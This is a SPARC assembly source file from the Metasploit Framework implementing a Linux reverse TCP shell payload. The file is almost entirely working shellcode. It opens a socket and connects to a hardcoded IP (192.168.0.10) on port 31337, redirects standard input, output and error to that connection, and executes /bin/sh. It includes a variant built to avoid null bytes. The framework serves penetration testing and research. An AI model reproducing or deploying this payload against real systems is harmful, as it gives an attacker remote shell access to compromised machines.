metasploit-framework/external/source/shellcode/linux/sparc/single_reverse_tcp.s

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##
#
# Name: single_reverse_tcp
# Platforms: Linux
# Authors: vlad902 <vlad902 [at] gmail.com>
# Version: $Revision: 1652 $
# License:
#
# This file is part of the Metasploit Exploit Framework
# and is subject to the same licenses and copyrights as
# the rest of this package.
#
# Description:
#
# Single reverse TCP shell.
#
##
.globl main
main:
andn %sp, 7, %sp
mov 1, %o0
mov 2, %l0
st %l0, [ %sp - 0x0c ]
st %o0, [ %sp - 0x08 ]
st %g0, [ %sp - 0x04 ]
sub %sp, 0x0c, %o1
mov 0xce, %g1
ta 0x10
sub %sp, 0x20, %l2
mov 0x10, %l3
st %o0, [ %sp - 0x0c ]
std %l3, [ %sp - 0x08 ]
#ifndef NO_NULLS
set 0x00027a68, %l4
#else
set 0x27a68fff, %l4
srl %l4, 12, %l4
#endif
set 0xc0a8000a, %l5
std %l4, [ %sp - 0x20 ]
mov 3, %o0
ta 0x10
mov 3, %o1
dup2_loop:
subcc %o1, 1, %o1
mov 0x5a, %g1
ta 0x10
bnz dup2_loop
ld [ %sp - 0x0c ], %o0
xor %o3, %o3, %o2
set 0x2f62696e, %l0
set 0x2f736800, %l1
sub %sp, 0x10, %o0
sub %sp, 0x08, %o1
std %l0, [ %sp - 0x10 ]
st %o0, [ %sp - 0x08 ]
st %g0, [ %sp - 0x04 ]
mov 0x3b, %g1
ta 0x08